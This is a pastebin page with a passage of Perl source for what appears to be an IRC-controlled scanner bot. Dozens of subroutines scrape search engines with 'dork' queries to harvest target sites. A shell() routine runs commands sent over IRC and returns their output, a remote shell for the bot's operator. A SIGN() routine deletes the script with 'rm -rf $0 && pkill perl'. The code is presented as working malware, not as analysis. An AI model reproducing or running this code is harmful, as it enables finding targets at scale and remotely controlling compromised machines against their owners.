- sub rediff() {
- my @list;
- my $key = $_[0];
- for (my $i=0; $i<=200; $i+=10) {
- my $search = ("http://search1.rediff.com/dirsrch/default.asp?MT=".&key($key)."&iss=&submit=Search&firstres=".$i);
- $b = "$i";
- my $res = &search_engine_query($search);
- if ($res !~ /firstres=$b\'>/) {$i=200;}
- while ($res =~ m/<a href=\"http:\/\/(.*?)\" onmousedown/g) {
- if ($1 !~ /rediff\.com/){
- my $link = $1;
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub uol() {
- my @list;
- my $key = $_[0];
- for (my $i=1; $i<=500; $i+=10) {
- my $search = ("http://busca.uol.com.br/web/?q=".&key($key)."&start=&ie=iso&start=".$i);
- my $res = &search_engine_query($search);
- if ($res !~ m/<span class=\"next\">próxima<\/span>/){$i=200;}
- while ($res =~ m/<a href=\"http:\/\/([^>\"]*)/g) {
- if ($1 !~ /uol\.com/) {
- my $link = $1;
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub bing() {
- my @list;
- my $key = $_[0];
- for (my $i=1; $i<=500; $i+=10) {
- my $search = ("http://www.bing.com/search?q=".&key($key)."&first=".$i."&FORM=PERE");
- my $res = &search_engine_query($search);
- if ($res =~ m/Ref A:/g && $res =~ m/Ref B:/g && $res =~ m/Ref C:/g) {$i=200;}
- while ($res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g) {
- if ($1 !~ /bing\.com/) {
- my $link = $1;
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub altavista() {
- my @list;
- my $key = $_[0];
- for (my $i=1; $i<=200; $i+=10){
- my $search = ("http://it.altavista.com/yhs/search?fr=altavista&itag=ody&kgs=0&kls=0&dis=1&q=".&key($key)."&stq=".$i);
- my $res = &search_engine_query($search);
- if ($res !~ /target=\"_self\">Succ/) {$i=200;}
- while ($res =~ m/<span class=ngrn>(.+?)\//g) {
- if ($1 !~ /altavista/){
- my $link = $1;
- $link =~ s/<//g;
- $link =~ s/ //g;
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub ask() {
- my @list;
- my $key = $_[0];
- for (my $i=1; $i<=50; $i+=1) {
- my $search = ("http://it.ask.com/web?q=".&key($key)."&qsrc=0&o=0&l=dir&qid=EE90DE6E8F5370F363A63EC61228D4FE&page=".$i."&jss=1&dm=all");
- my $res = &search_engine_query($search);
- if ($res !~ /Successiva/) {$i=50;}
- while ($res =~ m/href=\"http:\/\/(.+?)\" onmousedown=\"/g) {
- if ($1 !~ /ask\.com/){
- my $link = $1;
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub yahoo(){
- my @list;
- my $key = $_[0];
- my $b = 0;
- for ($b=1; $b<=500; $b+=10) {
- my $search = ("http://search.yahoo.com/search?p=".&key($key)."&b=".$b);
- my $res = &search_engine_query($search);
- while ($res =~ m/http\%3a\/\/(.+?)\"/g) {
- if ($1 !~ /yahoo\.com/){
- my $link = $1;
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub clusty() {
- my @list;
- my $key = $_[0];
- my $b = 0;
- for ($b=10; $b<=500; $b+=10) {
- my $search = ("http://search.yippy.com/search?query=".&key($key)."&input-form=clusty-simple&v:sources=webplus&v:state=root|root-".$b."-10|0&");
- my $res = &search_engine_query($search);
- if ($res !~ /next/) {$b=200;}
- while ($res =~ m/<div class=\"document-header\"><a href=\"http:\/\/(.*?)\"><span class=\"title\">/g) {
- if ($1 !~ /yippy\.com/){
- my $link = $1;
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub gutser() {
- my @list;
- my $key = $_[0];
- for ($b=1; $b<=500; $b+=10) {
- my $search = ("http://us.yhs4.search.yahoo.com/yhs/search;_ylt=A0oG7qOkbTFPVH8ARSVjmolQ?p=".&key($key)."&fr=goodsearch-yhsif&xargs=12KPjg1pZSrp68i- _oMPCRErjGnQNVmZy15JIuTcQ_QZAD6A5dYdR_ePqBypItDrUtu0KJk6nQo_pPIfL7ucu6&pstart=9&b=".$b);
- my $res = &search_engine_query($search);
- while ($res =~ m/http:\/\/([^>\"]*)\">/g) {
- if ($1 !~ /goodsearch|good\.is|w3\.org|quantserve/){
- my $link = $1;
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub google2() {
- my @list;
- my $key = $_[0];
- my $b = 0;
- my @doms = ("ae","com.af","com.ag","off.ai","am","com.ar","as","at","com.au","az","ba","com.bd","be","bg","bi","com.bo","com.br","bs","co.bw","com.bz","ca","cd","cg","ch","ci","c o.ck","cl","com.co","co.cr","com.cu","de","dj","dk","dm","com.do","com.ec","es","com.et","fi","com.fj","fm","fr","gg","com.gi","gl","gm","gr","com.gt","com.hk","hn","h r","co.hu","co.id","ie","co.il","co.im","co.in","is","it","co.je","com.jm","jo","co.jp","co.ke","kg","co.kr","kz","li","lk","co.ls","lt","lu","lv","com.ly","mn","ms"," com.mt","mu","mw","com.mx","com.my","com.na","com.nf","com.ni","nl","no","com.np","nr","nu","co.nz","com.om","com.pa","com.pe","com.ph","com.pk","pl","pn","com.pr","pt ","com.py","ro","ru","rw","com.sa","com.sb","sc","se","com.sg","sh","sk","sn","sm","com.sv","co.th","com.tj","tm","to","tp","com.tr","tt","com.tw","com.ua","co.ug","co .uk","com.uy","uz","com.vc","co.ve","vg","co.vi","com.vn","vu","ws","co.za","co.zm","co.kr");
- foreach my $domain (@doms) { $dom = $doms[rand(scalar(@doms))];
- for ($b=1; $b<=200; $b+=10) {
- my $search = ("http://www.google.".$dom."/search?num=50&q=".&key($key)."&start=".$b."&sa=N");
- my $res = &search_engine_query($search);
- while ($res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g) {
- if ($1 !~ /google/){
- my $link = $1;
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- } return @list;
- }
- }
- sub exalead() {
- my @list;
- my $key = $_[0];
- for ($b=0; $b<=1000; $b+=50) {
- my $search = ("http://www.exalead.com/search/web/results/?q=".&key($key)."&elements_per_page=50&start_index=".$b);
- my $res = &search_engine_query($search);
- if ($res =~ m/<span id=\"topNextUrl\">/g) {$b=1000;}
- while ($res =~ m/<a class=\"thumbnail\" href=\"http:\/\/(.*?)\"/g) {
- my $link = $1;
- if ($link!~ /exalead/){
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub lycos() {
- my @list;
- my $key = $_[0];
- for ($b=0; $b<=50; $b+=1) {
- my $search = ("http://search.lycos.com/web?q=".&key($key)."&pn=".$b."&tab=web&searchArea=web&diktfc=468007302EF7DB9AFE53D4138B848E7B4000D424385F");
- my $res = &search_engine_query($search);
- while ($res =~ m/href=\"http:\/\/(.+?)\" onmouseover=/g) {
- if ($1 !~ /lycos\.com/){
- my $link = $1;
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub virgilio() {
- my @list;
- my $key = $_[0];
- for ($b=10; $b<=200; $b+=10) {
- my $search = ("http://ricerca.virgilio.it/ricerca?qs=".&key($key)."&filter=1&site=&lr=&hits=10&offset=".$b);
- my $res = &search_engine_query($search);
- if ($res =~ m/non ha prodotto risultati/i) {$b=200;}
- if ($res =~ m/riconducibile a richieste effettuate/i) {$b=200;}
- while ($res =~ m/<a href=\"http:\/\/(.+?)\" target=\"/g) {
- if ($1 !~ /\.virgilio\.it/){
- my $link = $1;
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub webde() {
- my @list;
- my $key = $_[0];
- for ($b=1; $b<=50; $b+=1) {
- my $search = ("http://suche.web.de/search/web/?pageIndex=".$b."&su=".&key($key)."&search=Suche&origin=site_hp&mc=suche@web@navigation@zahlen.suche@web");
- my $res = &search_engine_query($search);
- if ($res =~ m/Suchbegriff nicht gefunden/i) {$b=50;}
- while ($res =~ m/<span class=\"url\">http:\/\/(.*?)<\/span>/g) {
- my $link = $1;
- if ($link!~ /suche|web/){
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub hotbot() {
- my @list;
- my $key = $_[0];
- for ($b=0; $b<=50; $b+=1) {
- my $search = ("http://www.hotbot.com/search/web?pn=".$b."&q=".&key($key)."&diktfc=51964BFDE35DFB6914F9E1E0D7988C3AC0ACB52B58BE");
- my $res = &search_engine_query($search);
- if ($res =~ m/had no web result/i) {$b=50;}
- while ($res =~ m/rel=\"nofollow\" href=\"http:\/\/(.+?)\"/g) {
- if ($1 !~ /hotbot\.com/){
- my $link = $1;
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub aol() {
- my @list;
- my $key = $_[0];
- for ($b=2; $b<=50; $b+=1) {
- my $search = ("http://search.aol.com/aol/search?q=".&key($key)."&s_it=aim-port&page=".$b);
- my $res = &search_engine_query($search);
- while ($res =~ m/href=\"http:\/\/(.*?)\" property/g) {
- if ($1 !~ /aol\.com/){
- my $link = $1;
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub sapo(){
- my @list;
- my $key = $_[0];
- for ($b=1; $b<=50; $b+=1) {
- my $search = ("http://pesquisa.sapo.pt/?barra=resumo&cluster=0&format=html&limit=10&location=pt&page=".$b."&q=".&key($key)."&st=local");
- my $res = &search_engine_query($search);
- if ($res !~ m/Next/i) {$b=50;}
- while ($res =~ m/<a href=\"http:\/\/(.*?)\"/g) {
- if ($1 !~ /\.sapo\.pt/){
- my $link = $1;
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub duck() {
- my @list;
- my $key = $_[0];
- my $b = 0;
- for ($b=1; $b<=50; $b+=1) {
- my $search = ("http://duckduckgo.com/html/?q=".&key($key)."&t=A&l=en&p=1&s=".$b."&o=json&dc=".$b."&api=d.js");
- my $res = &search_engine_query($search);
- if ($res =~ m/No more results/i) {$b=50;}
- while ($res =~ m/<a href=\"http:\/\/(.+?)\"/g) {
- if ($1 !~ /duckduckgo/){
- my $link = $1;
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub lygo() {
- my @list;
- my $key = $_[0];
- my $b = 0;
- for ($b=0; $b<=50; $b+=1) {
- my $search = ("http://www.hotbot.com/?query=".&key($key)."&ps=&loc=searchbox&tab=web&mode=search&currProv=lygo&page2=". $b."&diktfc=51964BFDE35DFB6914F9E1E0D7988C3AC0ACB52B58BE");
- my $res = &search_engine_query($search);
- if ($res =~ m/had no web result/i) {$b=50;}
- while ($res =~ m/<a href=\"http:\/\/(.+?)\"><img/g) {
- if ($1 !~ /hotbot\.com/){
- my $link = $1;
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub yause() {
- my @list;
- my $key = $_[0];
- my $b = 0;
- for ($b=1; $b<=50; $b+=1) {
- my $search = ("http://www.yauba.com/?query=".&key($key)."&where=websites&target=websites&con=y&ilang=english&clt=topic&pg=".$b);
- my $res = &search_engine_query($search);
- if ($res !~ m/Next/i) {$b=50;}
- while ($res =~ m/<h1><a rel=\"nofollow\" href=\"http:\/\/(.+?)\" onfocus=/g) {
- if ($1 !~ /yauba\.com/){
- my $link = $1;
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub baidu() {
- my @list;
- my $key = $_[0];
- my $b = 0;
- for ($b=0; $b<=200; $b+=10) {
- my $search = ("http://www.baidu.com/s?wd=".&key($key)."&pn=".$b);
- my $res = &search_engine_query($search);
- while ($res =~ m/\" href=\"http:\/\/(.*?)\" target=/g) {
- if ($1 !~ /baidu\.com/){
- my $link = $1;
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub kipot() {
- my @list;
- my $key = $_[0];
- my $b = 0;
- for ($b=1; $b<=50; $b+=1) {
- my $search = ("http://www.qkport.com/".$b."/web/".&key($key));
- my $res = &search_engine_query($search);
- while ($res =~ m/href=\"http:\/\/(.*?)\" target=\"_top\"/g) {
- if ($1 !~ /qkport\.com/){
- my $link = $1;
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub gibla() {
- my @list;
- my $key = $_[0];
- my $hal = "/search?k8m=223945&s=10&q=".&key($key);
- my $search = ("http://www.gigablast.com".$hal);
- my $res = &search_engine_query($search);
- while ($res =~ m/Next 10 Results/) {
- $search = ("http://www.gigablast.com".$hal);
- while ($res =~ m/<span class=\"url\">(.+?)><\/span>/g) {
- my $link = $1;
- my @grep = &links($link);
- push(@list,@grep);
- }
- if ($res =~ m/<center><a href=\"(.*?)\">/) { $hal = $1; }
- $res = &search_engine_query($search);
- }return @list;
- }
- sub black() {
- my @list;
- my $key = $_[0];
- my $b = 0;
- for ($b=0; $b<=50; $b+=1) {
- my $search = ("http://blekko.com/ws/".&key($key)."?p=".$b);
- my $cek = $b+1;
- my $res = &search_engine_query($search);
- if ($res !~ m/<strong>$b<\/strong>/i) {$b=50;}
- while ($res =~ m/class=\"UrlTitleLine\" href=\"http:\/\/(.+?)\"/g) {
- if ($1 !~ /blekko/){
- my $link = $1;
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub onet() {
- my @list;
- my $key = $_[0];
- my $b = 0;
- for ($b=1; $b<=50; $b+=1) {
- my $search = ("http://szukaj.onet.pl/".$b.",query.html?qt=".&key($key));
- my $res = &search_engine_query($search);
- while ($res =~ m/<a href=\"http:\/\/(.+?)\"/g) {
- if ($1 !~ /webcache|query/){
- my $link = $1;
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub sizuka() {
- my @list;
- my $key = $_[0];
- my $b = 0;
- for ($b=10; $b<=100; $b+=10) {
- my $search = ("http://www.szukacz.pl/szukaj.aspx?ct=polska&pc=polska&q=".&key($key)."&start=".$b);
- my $res = &search_engine_query($search);
- while ($res =~ m/<a title=\"http:\/\/(.+?)\"/g) {
- if ($1 !~ /szukacz/){
- my $link = $1;
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub walla() {
- my @list;
- my $key = $_[0];
- my $b = 0;
- for ($b=0; $b<=50; $b+=1) {
- my $search = ("http://search.walla.co.il/?q=".&key($key)."&type=text&page=".$b);
- my $res = &search_engine_query($search);
- while ($res =~ m/<td class=sw><a href=\"http:\/\/(.+?)\"/g) {
- if ($1 !~ /walla\.co\.il/){
- my $link = $1;
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub demos() {
- my @list;
- my $key = $_[0];
- my $b = 0;
- for ($b=0; $b<=700; $b+=20) {
- my $search = ("http://www.dmoz.org/search/search?q=".&key($key)."&start=".$b."&type=next&all=yes");
- my $res = &search_engine_query($search);
- while ($res =~ m/<a href=\"http:\/\/(.+?)\"/g) {
- if ($1 !~ /search|dmoz/){
- my $link = $1;
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub rose() {
- my @list;
- my $key = $_[0];
- my $b = 0;
- my @langs = ("de","nl","fi","ps","da","en","es","fr","it","no","sv","cs","pl","ru");
- foreach my $language (@langs) { $lang = $langs[rand(scalar(@langs))];
- for ($b=0; $b<=500; $b+=10) {
- my $search = ("http://euroseek.com/system/search.cgi?language=".$lang."&mode=internet&start=".$b."&string=".&key($key));
- my $res = &search_engine_query($search);
- while ($res =~ m/<a href=\"http:\/\/(.+?)\" class=/g) {
- if ($1 !~ /euroseek/){
- my $link = $1;
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- }return @list;
- }
- sub seznam() {
- my @list;
- my $key = $_[0];
- for ($b=1; $b<=200; $b+=10) {
- my $search = ("http://search.seznam.cz/?q=".&key($key)."&count=10&pId=SkYLl2GXwV0CZZUQcglt&from=".$b);
- my $res = &search_engine_query($search);
- while ($res =~ m/<a href=\"http:\/\/(.+?)\" title/g) {
- if ($1 !~ /seznam/){
- my $link = $1;
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub tiscali() {
- my @list;
- my $key = $_[0];
- for ($b=0; $b<=200; $b+=10) {
- my $search = ("http://search.tiscali.it/?tiscalitype=web&collection=web&start=".$b."&q=".&key($key));
- my $res = &search_engine_query($search);
- while ($res =~ m/<a href=\"http:\/\/(.+?)\" onclick/g) {
- if ($1 !~ /tiscali/){
- my $link = $1;
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub naver() {
- my @list;
- my $key = $_[0];
- for ($b=1; $b<=200; $b+=10) {
- my $search = ("http://web.search.naver.com/search.naver?where=webkr&query=".&key($key)."&docid=0〈=all&f=&srcharea=all&st=s&fd=2&start=". $b."&display=10");
- my $res = &search_engine_query($search);
- while ($res =~ m/<a href=\"http:\/\/(.+?)\"/g) {
- if ($1 !~ /naver/){
- my $link = $1;
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub doogate(){
- my @list;
- my $key = $_[0];
- my $i = 0;
- for ($i=0; $i<=1000; $i+=100){
- my $web=("http://www.doogate.com/search?q=".key($key)."&start=".$i);
- my $Res= search_engine_query($web);
- while ($Res =~ m/<a href=\"http:\/\/(.+?)\//g){
- if ($1 !~ /doogate/){
- my $k=$1;
- my @grep=links($k);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub sogou() {
- my @list;
- my $key = $_[0];
- for (my $b=1; $b<=50; $b+=1){
- my $search = ("http://www.sogou.com/web?query=".&key($key)."&page=".$b);
- my $res = search_engine_query($search);
- while ($res =~ m/<a name="dttl" target="_blank" href="http:\/\/(.*?)\"/g) {
- my $link = $1;
- if ($link !~ /sogou/){
- my @grep = links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub interia() {
- my @list;
- my $key = $_[0];
- for ($b = 0;$b<= 100; $b+= 10) {
- my $search = ( "http://www.google.interia.pl/szukaj,q,".&key($key).",w,,p,".$b);
- my $res = search_engine_query($search);
- while ($res =~ m/text-decoration: none;\">http:\/\/(.+?)\/(.*)<\/a>/g) {
- my $link = $1;
- if ($link!~ /google|interia/) {
- my @grep=links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub snz() {
- my @list;
- my $key = $_[0];
- for (my $b=1; $b<=500; $b+=1) {
- my $search = ("http://searchnz.co.nz/search.aspx?q=".&key($key)."&gr=false&np=".$b);
- my $res = search_engine_query($search);
- while ($res =~ m/<a href=\"?http:\/\/(.+?)\//g) {
- my $link = $1;
- if ($link!~ /searchnz/){
- my @grep = links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub yandex(){
- my @list;
- my $key = $_[0];
- for ($b=0; $b<=50; $b+=1){
- my $search=("http://yandex.ru/yandsearch?p=".$b."&text=".&key($key)."&lr=94");
- my $res= search_engine_query($search);
- while ($res =~ m/href=\"http:\/\/(.*?)\"/g) {
- my $link = $1;
- if ($link!~ /yandex/ ){
- my @grep = links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub joeant(){
- my @list;
- my $key = $_[0];
- for ($b=0; $b<=50; $b+=10){
- my $search=("http://www.joeant.com/DIR/search.php?keywords=".&key($key)."&page=".$b."&limit=10");
- my $res= search_engine_query($search);
- while ($res =~ m/<a href=\http:\/\/(.*?)\//g) {
- my $link = $1;
- if ($link!~ /joeant/ ){
- my @grep = links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub terra(){
- my @list;
- my $key = $_[0];
- for ($b=0; $b<=50; $b+=10){
- my $search=("http://buscador.terra.com/Results.aspx?ca=a&source=Search&query=".$key);
- my $res= search_engine_query($search);
- while ($res =~ m/href=\"http:\/\/(.*?)\"/g) {
- my $link = $1;
- if ($link!~ /terra/ ){
- my @grep = links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub youdao() {
- my @list;
- my $key = $_[0]; {
- my $search = ("http://www.youdao.com/search?q=".&key($key)."&start=10&ue=utf8&keyfrom=".$b."&lq=".&key($key)."×ort=0");
- my $res = search_engine_query($search);
- while ($res =~ m/href=\"http:\/\/(.*?)\"/g) {
- if ($1 !~ /youdao/){
- my $link = $1;
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub amfibi() {
- my @list;
- my $key = $_[0]; {
- my $search = ("http://www.amfibi.com/search?query=".&key($key)."&start=".$b);
- my $res = search_engine_query($search);
- while ($res =~ m/href=\"http:\/\/(.*?)\"/g) {
- if ($1 !~ /amfibi|cache/){
- my $link = $1;
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub bigclique() {
- my @list;
- my $key = $_[0];
- for ($b=1; $b<=200; $b+=10) {
- $num += $num;
- my $search = ("http://www.bigclique.com/search.jsp?query=".&key($key)."&hitsPerPage=10&start=".$num."&hitsPerSite=".$b);
- my $res = search_engine_query($search);
- while ($res =~ m/<a href="http:\/\/(.+?)\"/g) {
- if ($1 !~ /bigclique|cached/){
- my $link = $1;
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub dancefloor() {
- my @list;
- my $key = $_[0];
- for ($b=1; $b<=200; $b+=10) {
- $num += $num;
- my $search = ("http://www.dancefloorhireuk.co.uk/events/search.php?query=".&key($key)."&start=".$b."&search=1&results=10&type=and&domain=");
- my $res = search_engine_query($search);
- while ($res =~ m/<a href="http:\/\/(.+?)\"/g) {
- if ($1 !~ /dancefloor|query/){
- my $link = $1;
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub live {
- my $key = $_[0];
- my @list;
- my $num = 50; my $max = 2000; my $p;
- my $search = "http://search.live.com/results.aspx?q=".&key($key)."&go";
- my $msearch = "http://search.live.com";
- my $nxsearch;
- my $res = search_engine_query($search);
- if ( $res =~ /<a class=\"sb_pagN\" href=\"(.*?)\" onmousedown/ ) {
- my $nxsearch = $1;
- }
- while ( $res =~ m/<h3><a href=\"http:\/\/(.*?)\"/g ) {
- my $l = $1 ; if ($l !~ /google/) { push (@list, $l); }
- }
- for ( $p=0;$p<=$max;$p += $num ) {
- $nxsearch = $msearch.htmltosearch($1)."&go";
- $res = search_engine_query("http://search.live.com/results.aspx?q=".&key($key)."&first=".$p."&FORM=PORE");
- while ( $res =~ m/<h3><a href=\"http:\/\/(.*?)\"/g ) {
- my $l = $1 ; if ($l !~ /google/) { push (@list, $l); }
- }
- }
- return @list;
- }
- sub rakuten() {
- my @list;
- my $key = $_[0];
- for ($b=1; $b<=200; $b+=10) {
- my $search = ("http://websearch.rakuten.co.jp/Web?qt=".&key($key)."&col=OW&lg=all&st=".$b."&svx=101722");
- my $res = search_engine_query($search);
- while ($res =~ m/<a class="sc_result result" href=\"http:\/\/(.+?)\"/g) {
- if ($1 !~ /rakuten/){
- my $link = $1;
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub biglobe {
- my $key = $_[0];
- my @list;
- for ($b=1; $b<=200; $b+=10) {
- $num += $num;
- my $search = "http://cgi.search.biglobe.ne.jp/cgi-bin/search_bl_top?start=".$b."&ie=utf8&num=".$num."&q=".&key($key)."&lr=all";
- my $res = search_engine_query($search);
- while ( $res =~ m/<a href=\"http:\/\/(.+?)\"/g ) {
- if ($1 !~ /biglobe/){
- my $link = $1;
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub nova() {
- my @list;
- my $key = $_[0];
- for ($b=1; $b<=200; $b+=10) {
- $num += $num;
- my $search = ("http://nova.rambler.ru/srch?query=".&key($key)."&page=".$b."&start=".$num);
- my $res = search_engine_query($search);
- while ($res =~ m/<a href=\"http:\/\/(.+?)\"/g) {
- if ($1 !~ /rambler|cache/){
- my $link = $1;
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub najdi() {
- my @list;
- my $key = $_[0];
- for ($b=1; $b<=200; $b+=10) {
- $num += $num;
- my $search = ("http://www.najdi.si/search.jsp?q=".&key($key)."&o=".$b."&maxHitsPerGroup=".$num);
- my $res = search_engine_query($search);
- while ($res =~ m/<a href=\"http:\/\/(.+?)\" onmousedown/g) {
- if ($1 !~ /najdi|cache/){
- my $link = $1;
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub goo() {
- my @list;
- my $key = $_[0];
- for ($b=1; $b<=200; $b+=10) {
- my $search = ("http://search.goo.ne.jp/web.jsp?STYPE=web&OE=UTF-8&MT=".&key($key)."&IE=UTF-8&FR=".$b."&from=pager");
- my $res = search_engine_query($search);
- while ($res =~ m/<a href=\"http:\/\/(.+?)\" onclick/g) {
- if ($1 !~ /goo/){
- my $link = $1;
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub uksubmit() {
- my @list;
- my $key = $_[0];
- for ($b=1; $b<=200; $b+=10) {
- my $search = ("http://www.uksubmit.co.uk/index.php?query=".&key($key)."&searchType=Web&page=".$b);
- my $res = search_engine_query($search);
- while ($res =~ m/<a href="http:\/\/(.+?)\"/g) {
- if ($1 !~ /uksubmit/){
- my $link = $1;
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub excite() {
- my @list;
- my $key = $_[0];
- for ($b=1; $b<=200; $b+=10) {
- $num += $num;
- my $search = ("http://msxml.excite.com/excite/ws/results/Web/".$key."/".$b."/0/0/Relevance/zoom=off/qi=".$num."/qk=20/bepersistence=true/_iceUrlFlag=7? _IceUrl=true");
- my $res = search_engine_query($search);
- while ($res =~ m/status='http:\/\/(.*?)';/g) {
- if ($1 !~ /excite|google|Yahoo/){
- my $link = $1;
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub mamma(){
- my @list;
- my $key = $_[0];
- for($b=0;$b<=1000;$b+=100){
- my $Th=("http://www.mamma.com/result.php?q=".key($key)."&type=web&p=".$b);
- my $Res=&search_engine_query($Th);
- while($Res =~ m/target=\"_blank\">(.+?)\//g){
- if ($1 !~ /msn|live|google|yahoo/){ my $link = $1; $link =~ s/<//g; $link =~ s/ //g; my @grep = &links($link); push(@list,@grep);
- }
- }
- }
- return @list;
- }
- #########################################
- sub clean() {
- my @cln = ();
- my %visit = ();
- foreach my $element (@_) {
- $element =~ s/\/+/\//g;
- next if $visit{$element}++;
- push @cln, $element;
- }
- return @cln;
- }
- sub key() {
- my $dork = $_[0];
- $dork =~ s/ /\+/g;
- $dork =~ s/:/\%3A/g;
- $dork =~ s/\//\%2F/g;
- $dork =~ s/\?/\%3F/g;
- $dork =~ s/&/\%26/g;
- $dork =~ s/\"/\%22/g;
- $dork =~ s/,/\%2C/g;
- $dork =~ s/\\/\%5C/g;
- $dork =~ s/@/\%40/g;
- $dork =~ s/\[/\%5B/g;
- $dork =~ s/\]/\%5D/g;
- $dork =~ s/\?/\%3F/g;
- $dork =~ s/\=/\%3D/g;
- $dork =~ s/\|/\%7C/g;
- return $dork;
- }
- sub links() {
- my @list;
- my $link = $_[0];
- my $host = $_[0];
- my $hdir = $_[0];
- $hdir =~ s/(.*)\/[^\/]*$/$1/;
- $host =~ s/([-a-zA-Z0-9\.]+)\/.*/$1/;
- $host .= "/";
- $link .= "/";
- $hdir .= "/";
- $host =~ s/\/\//\//g;
- $hdir =~ s/\/\//\//g;
- $link =~ s/\/\//\//g;
- push(@list,$link,$host,$hdir);
- return @list;
- }
- sub search_engine_query($) {
- my $url = $_[0];
- $url =~ s/http:\/\///;
- my $host = $url;
- my $query = $url;
- my $page = "";
- $host =~ s/href=\"?http:\/\///;
- $host =~ s/([-a-zA-Z0-9\.]+)\/.*/$1/;
- $query =~ s/$host//;
- if ($query eq "") { $query = "/"; }
- eval {
- my $sock = IO::Socket::INET->new(PeerAddr=>"$host", PeerPort=>"80", Proto=>"tcp") or return;
- print $sock "GET $query HTTP/1.0\r\nHost: $host\r\nAccept: */*\r\nUser-Agent: $uagent\r\n\r\n";
- my @pages = <$sock>;
- $page = "@pages";
- close($sock);
- };
- return $page;
- }
- #########################################
- sub shell() {
- my $path = $_[0];
- my $cmd = $_[1];
- if ($cmd =~ /cd (.*)/) {
- chdir("$1") || &msg("$path","4No such file or directory");
- return;
- }
- elsif ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- my @output = `$cmd 2>&1 3>&1`;
- my $c = 0;
- foreach my $output (@output) {
- $c++;
- chop $output;
- &msg("$path","$output");
- if ($c == 5) { $c = 0; sleep 2; }
- }
- exit;
- }}
- }
- sub isAdmin() {
- my $status = 0;
- my $nick = $_[0];
- if ($nick eq $admin) { $status = 1; }
- return $status;
- }
- sub msg() {
- return unless $#_ == 1;
- sendraw($IRC_cur_socket, "PRIVMSG $_[0] :$_[1]");
- }
- sub SIGN() {
- if (($powered !~ /e/)||($mail !~ /tk/)) {
- print "\nLAMER DETECTED FVCK YOU. YOU NOT HACKER. U JUST SCRIPT KIDDIES\n\n";
- exec("rm -rf $0 && pkill perl");
- }
- }
- sub nick() {
- return unless $#_ == 0;
- sendraw("NICK $_[0]");
- }
- sub notice() {
- return unless $#_ == 1;
- sendraw("NOTICE $_[0] :$_[1]");
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement